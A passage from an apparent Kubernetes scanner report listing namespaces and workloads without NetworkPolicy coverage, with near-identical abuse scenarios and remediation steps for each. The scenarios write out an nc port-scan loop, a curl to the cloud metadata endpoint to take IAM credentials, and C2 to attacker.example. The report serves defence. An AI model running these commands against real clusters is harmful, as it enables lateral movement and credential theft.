  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in psaflip-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to psaflip-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n psaflip-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacepsaflip-fixtures
Show raw JSON
{
  "namespace": "psaflip-fixtures"
}
HIGH Namespace/pv-hostpath-fixtures/pv-hostpath-fixtures Namespace 7.4
Namespace pv-hostpath-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace pv-hostpath-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/pv-hostpath-fixtures/pv-hostpath-fixtures Namespace: pv-hostpath-fixtures

Namespace pv-hostpath-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in pv-hostpath-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in pv-hostpath-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to pv-hostpath-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n pv-hostpath-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacepv-hostpath-fixtures
Show raw JSON
{
  "namespace": "pv-hostpath-fixtures"
}
HIGH Namespace/rbac-fixtures/rbac-fixtures Namespace 7.4
Namespace rbac-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace rbac-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/rbac-fixtures/rbac-fixtures Namespace: rbac-fixtures

Namespace rbac-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in rbac-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in rbac-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to rbac-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n rbac-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacerbac-fixtures
Show raw JSON
{
  "namespace": "rbac-fixtures"
}
HIGH Namespace/rbac-ns-fixtures/rbac-ns-fixtures Namespace 7.4
Namespace rbac-ns-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace rbac-ns-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures Namespace: rbac-ns-fixtures

Namespace rbac-ns-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in rbac-ns-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in rbac-ns-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to rbac-ns-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n rbac-ns-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacerbac-ns-fixtures
Show raw JSON
{
  "namespace": "rbac-ns-fixtures"
}
HIGH Namespace/secrets-bundle-target/secrets-bundle-target Namespace 7.4
Namespace secrets-bundle-target has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace secrets-bundle-target: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/secrets-bundle-target/secrets-bundle-target Namespace: secrets-bundle-target

Namespace secrets-bundle-target contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in secrets-bundle-target and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in secrets-bundle-target, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to secrets-bundle-target.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n secrets-bundle-target --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacesecrets-bundle-target
Show raw JSON
{
  "namespace": "secrets-bundle-target"
}
HIGH Namespace/secrets-bundle/secrets-bundle Namespace 7.4
Namespace secrets-bundle has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace secrets-bundle: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/secrets-bundle/secrets-bundle Namespace: secrets-bundle

Namespace secrets-bundle contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in secrets-bundle and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in secrets-bundle, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to secrets-bundle.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n secrets-bundle --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacesecrets-bundle
Show raw JSON
{
  "namespace": "secrets-bundle"
}
HIGH Namespace/statusspoof-fixtures/statusspoof-fixtures Namespace 7.4
Namespace statusspoof-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace statusspoof-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/statusspoof-fixtures/statusspoof-fixtures Namespace: statusspoof-fixtures

Namespace statusspoof-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in statusspoof-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in statusspoof-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to statusspoof-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n statusspoof-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacestatusspoof-fixtures
Show raw JSON
{
  "namespace": "statusspoof-fixtures"
}
HIGH Namespace/vulnerable/vulnerable Namespace 7.4
Namespace vulnerable has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace vulnerable: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/vulnerable/vulnerable Namespace: vulnerable

Namespace vulnerable contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in vulnerable and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in vulnerable, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to vulnerable.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n vulnerable --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacevulnerable
Show raw JSON
{
  "namespace": "vulnerable"
}
MEDIUM

Workload Deployment/flat-network/unmatched is in a policied namespace but no policy podSelector matches it

KUBE-NETPOL-COVERAGE-002 2 subjects Score 6.2

Affected subjects (2)

MEDIUM Deployment/flat-network/unmatched Workload 6.2
Workload Deployment/flat-network/unmatched is in a policied namespace but no policy podSelector matches it
Scope · Workload Workload Deployment/flat-network/unmatched (labels map[app:orphan]): covered by no NetworkPolicy in flat-network
Category: Lateral Movement Resource: Deployment/flat-network/unmatched Namespace: flat-network

Workload Deployment/flat-network/unmatched runs in flat-network which has at least one NetworkPolicy, but none of those policies' podSelector clauses match this workload's labels (map[app:orphan]). The Kubernetes NetworkPolicy specification is explicit: a pod is "non-isolated" for ingress/egress until a NetworkPolicy with the corresponding policyTypes entry selects it.

This is the most common misconfiguration in clusters that have started rolling out NetworkPolicies: the operator added policies for the visible apps and forgot a sidecar Job, a CronJob spawned by an operator, a debug Deployment, or a workload whose labels were renamed. "Selected by no policy" is semantically identical to "in a namespace with no policies at all" for this specific pod (full allow-in, full allow-out) even though kubectl get netpol makes the namespace look protected.

The failure mode is invisible at a glance: dashboards say "NetworkPolicies present in namespace," CIS 5.3.2 may pass, but the uncovered workload is exactly the kind of pod attackers love: operator-managed, often privileged, often forgotten.

Impact This single workload retains full allow-all ingress and egress while the rest of the namespace is segmented, making it the easiest pivot point for an attacker who lands anywhere else in the cluster.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises a low-value pod elsewhere in the cluster (CVE in a web app).
  2. They scan the namespace's pod CIDR for reachable services. Other pods in flat-network correctly drop unsolicited traffic, except unmatched, which is uncovered.
  3. They hit unmatched's exposed application port and exploit a known issue, gaining a shell.
  4. From unmatched, attacker has unrestricted egress: hits IMDS for cloud IAM credentials, opens C2 to attacker IPs, uses the pod's mounted ServiceAccount token against the API server.
  5. The attacker now has the network position the rest of the namespace's policies were designed to prevent.
Remediation
Either deploy a namespace-wide default-deny baseline in flat-network so every new pod is automatically covered, or add an explicit policy whose podSelector matches this workload's labels.
  1. Add a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) in flat-network so future pods fail closed.
  2. Write an explicit allow policy whose podSelector matches unmatched's labels and lists only the ingress sources and egress destinations it needs.
  3. Validate by re-running this scanner; the workload should now match at least one policy.
  4. Add a CI check (Kyverno's require-matching-network-policy or an OPA constraint) that fails if a new workload is admitted with labels not covered by any existing NetworkPolicy.
Evidence
Labelsapp=orphan
Show raw JSON
{
  "labels": {
    "app": "orphan"
  }
}
MEDIUM Deployment/netpol-imds/imds-open-app Workload 6.2
Workload Deployment/netpol-imds/imds-open-app is in a policied namespace but no policy podSelector matches it
Scope · Workload Workload Deployment/netpol-imds/imds-open-app (labels map[app:imds-open-app]): covered by no NetworkPolicy in netpol-imds
Category: Lateral Movement Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Workload Deployment/netpol-imds/imds-open-app runs in netpol-imds which has at least one NetworkPolicy, but none of those policies' podSelector clauses match this workload's labels (map[app:imds-open-app]). The Kubernetes NetworkPolicy specification is explicit: a pod is "non-isolated" for ingress/egress until a NetworkPolicy with the corresponding policyTypes entry selects it.

This is the most common misconfiguration in clusters that have started rolling out NetworkPolicies: the operator added policies for the visible apps and forgot a sidecar Job, a CronJob spawned by an operator, a debug Deployment, or a workload whose labels were renamed. "Selected by no policy" is semantically identical to "in a namespace with no policies at all" for this specific pod (full allow-in, full allow-out) even though kubectl get netpol makes the namespace look protected.

The failure mode is invisible at a glance: dashboards say "NetworkPolicies present in namespace," CIS 5.3.2 may pass, but the uncovered workload is exactly the kind of pod attackers love: operator-managed, often privileged, often forgotten.

Impact This single workload retains full allow-all ingress and egress while the rest of the namespace is segmented, making it the easiest pivot point for an attacker who lands anywhere else in the cluster.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises a low-value pod elsewhere in the cluster (CVE in a web app).
  2. They scan the namespace's pod CIDR for reachable services. Other pods in netpol-imds correctly drop unsolicited traffic, except imds-open-app, which is uncovered.
  3. They hit imds-open-app's exposed application port and exploit a known issue, gaining a shell.
  4. From imds-open-app, attacker has unrestricted egress: hits IMDS for cloud IAM credentials, opens C2 to attacker IPs, uses the pod's mounted ServiceAccount token against the API server.
  5. The attacker now has the network position the rest of the namespace's policies were designed to prevent.
Remediation
Either deploy a namespace-wide default-deny baseline in netpol-imds so every new pod is automatically covered, or add an explicit policy whose podSelector matches this workload's labels.
  1. Add a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) in netpol-imds so future pods fail closed.
  2. Write an explicit allow policy whose podSelector matches imds-open-app's labels and lists only the ingress sources and egress destinations it needs.
  3. Validate by re-running this scanner; the workload should now match at least one policy.
  4. Add a CI check (Kyverno's require-matching-network-policy or an OPA constraint) that fails if a new workload is admitted with labels not covered by any existing NetworkPolicy.
Evidence
Labelsapp=imds-open-app
Show raw JSON
{
  "labels": {
    "app": "imds-open-app"
  }
}
MEDIUM

Namespace ingress-only controls ingress but has no Egress policy (one-way enforcement)

KUBE-NETPOL-COVERAGE-003 2 subjects Score 5.8

Affected subjects (2)

MEDIUM Namespace/ingress-only/ingress-only Namespace 5.8
Namespace ingress-only controls ingress but has no Egress policy (one-way enforcement)
Scope · Namespace Namespace ingress-only: pods are firewalled inbound but can reach any outbound destination
Category: Lateral Movement Resource: Namespace/ingress-only/ingress-only Namespace: ingress-only

Namespace ingress-only has NetworkPolicy objects that select pods for ingress filtering but no NetworkPolicy enforces egress. In Kubernetes' policy model, ingress and egress are independent dimensions: a pod is isolated for ingress only if a policy with policyTypes: Ingress selects it, and isolated for egress only if a policy with policyTypes: Egress selects it. A pod can be tightly firewalled inbound and still reach the entire internet outbound, which is exactly the asymmetry seen here.

This is a classic misconfiguration after a half-finished zero-trust migration. Teams typically write ingress policies first because they think of "who can talk to my service," and ship without revisiting outbound. The result looks compliant in dashboards but leaves data exfiltration, cloud IMDS access, and outbound C2 wide open.

The practical risk is that egress is the dimension attackers actually want. Inbound restrictions help against external scanners, but a compromised pod's value to an attacker is in what it can talk *out* to: the cloud control plane via IMDS, attacker-controlled C2, internal databases in other namespaces, and the cluster's kube-apiserver.

Impact Compromised pods in this namespace retain full outbound reach. IMDS credential theft, C2 callbacks, and lateral pivots out of the namespace are unimpeded.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any pod in ingress-only.
  2. They hit IMDS. The namespace has no egress policy, so the request succeeds and node IAM credentials are exfiltrated.
  3. They establish C2 to attacker.example:443 and stream captured tokens, environment variables, and pod-mounted secrets.
  4. They pivot to other namespaces by talking to ClusterIP Services directly. The missing egress policy doesn't restrict cluster-internal destinations either.
  5. They call kube-apiserver with the pod's ServiceAccount token (egress to apiserver also unrestricted), enumerating RBAC for any privesc opportunity.
Remediation
Add a default-deny-egress NetworkPolicy in ingress-only, then explicit per-workload egress allowlists for DNS and actual outbound dependencies.
  1. Apply a default-deny-egress policy in ingress-only targeting podSelector: {} so every pod becomes egress-isolated.
  2. Add an explicit DNS-allow policy (UDP/TCP 53 to kube-system).
  3. For each workload that has legitimate egress, add a tight to: clause (specific Service, namespaceSelector+podSelector, or specific external CIDR; never 0.0.0.0/0).
  4. Validate by kubectl exec into a representative pod and confirming curl --max-time 3 https://example.com/ times out.
  5. Wire CI policy (Kyverno require-policytypes-egress) to fail any future namespace with ingress-only coverage.
Evidence
Namespaceingress-only
Show raw JSON
{
  "namespace": "ingress-only"
}
